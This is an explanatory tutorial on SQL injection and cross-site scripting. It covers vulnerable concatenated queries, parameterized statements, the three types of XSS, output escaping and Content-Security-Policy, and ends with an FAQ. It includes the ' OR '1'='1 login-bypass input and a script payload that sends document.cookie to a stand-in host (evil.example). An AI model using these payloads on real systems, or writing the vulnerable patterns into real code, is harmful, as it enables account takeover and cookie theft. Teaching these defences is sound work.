The original sin: string concatenation
SQL injection exists because of one recurring mistake: building a database query by pasting user input directly into a string, so the database can no longer tell the difference between the data the query is supposed to operate on and the code that defines the query itself. A textbook vulnerable login check looks like this:
query = "SELECT * FROM users WHERE name = '" + username +
"' AND pass = '" + password + "'";
// attacker enters username: ' OR '1'='1
// the string becomes:
// SELECT * FROM users WHERE name = '' OR '1'='1' AND pass = '...'
Because '1'='1' is always true, the WHERE clause is satisfied for every row regardless of the password, and the query returns the first user in the table — usually an administrator, since that's often the first row inserted. Nothing was hacked in the cryptographic sense; the database executed exactly the SQL it was given, and the input the attacker supplied simply changed what that SQL was.
Parameterized queries close it for good
The fix is not to filter or escape dangerous characters after the fact — that approach has failed repeatedly because there is always another encoding or edge case an attacker can find. The real fix is to never build the query from a string at all: parameterized (prepared) statements send the query structure and the user data to the database as two separate channels, so user input is never parsed as part of the SQL grammar in the first place.
stmt = db.prepare("SELECT * FROM users WHERE name = ? AND pass = ?");
stmt.execute([username, password]);
// username = " ' OR '1'='1 " is now just a literal string value to
// compare against the name column -- it can never become SQL syntax
XSS: the same idea, one layer up in the browser
Cross-site scripting is structurally identical, just moved from the database's parser to the browser's HTML parser: user input gets inserted into a page without escaping, and the browser interprets part of that input as markup or script instead of text. There are three standard flavours: stored XSS, where the malicious input is saved server-side (a comment, a profile field) and served to every visitor; reflected XSS, where it comes straight back in the response to a single crafted request, often via a URL parameter; and DOM-based XSS, where the vulnerable code never touches the server at all — client-side JavaScript reads something attacker-controlled (the URL, for instance) and writes it into the page unsafely.
comment = "<script>fetch('https://evil.example/steal?c='+document.cookie)</script>"
page.innerHTML = "Latest comment: " + comment;
// the browser parses and RUNS the script tag -- it doesn't know the
// comment text was supposed to be inert data, same failure as SQLi
The fix: escaping and Content-Security-Policy
Just as SQL injection is fixed by never letting user data be parsed as SQL syntax, XSS is fixed by never letting user data be parsed as HTML or script syntax. Output HTML-escaping (turning < into <, > into >, and so on) whenever untrusted data is written into a page means the browser renders it as visible text instead of executing it. Modern frameworks do this automatically for anything inserted through their templating layer; the vulnerable pattern above almost always involves bypassing that layer with a raw innerHTML assignment. A Content-Security-Policy header adds a second, independent layer of defence by telling the browser which script sources are allowed to execute at all, so that even a successful injection often has nowhere to load its payload from.
Frequently asked questions
Why does ' OR '1'='1 bypass a login check?
Because the vulnerable code builds the SQL query by concatenating the raw input into a string. The injected text closes the quoted value early and adds an OR condition that's always true, so the WHERE clause matches every row in the table regardless of the actual password, and the database returns the first matching user.
What's the actual fix for SQL injection, and why not just filter dangerous characters?
Parameterized (prepared) statements, which send the query structure and the user-supplied values to the database through separate channels so input can never be parsed as SQL syntax. Character filtering or escaping is fragile because there is always another encoding, whitespace trick or dialect quirk an attacker can exploit; prepared statements remove the vulnerability class entirely rather than patching individual bypasses.
What's the difference between stored, reflected and DOM-based XSS?
Stored XSS is saved server-side and served to every visitor (e.g. in a comment). Reflected XSS is echoed straight back in the response to a single crafted request, often via a URL parameter, and requires tricking a victim into clicking a link. DOM-based XSS never touches the server at all — vulnerable client-side JavaScript reads attacker-controlled data (like the URL) and writes it unsafely into the page.
Try it live
Everything above runs in your browser — open SQL Injection and XSS Demo and change the parameters while it is running. Nothing is installed, nothing is uploaded, the whole model lives in one tab.
▶ Open SQL Injection and XSS Demo simulation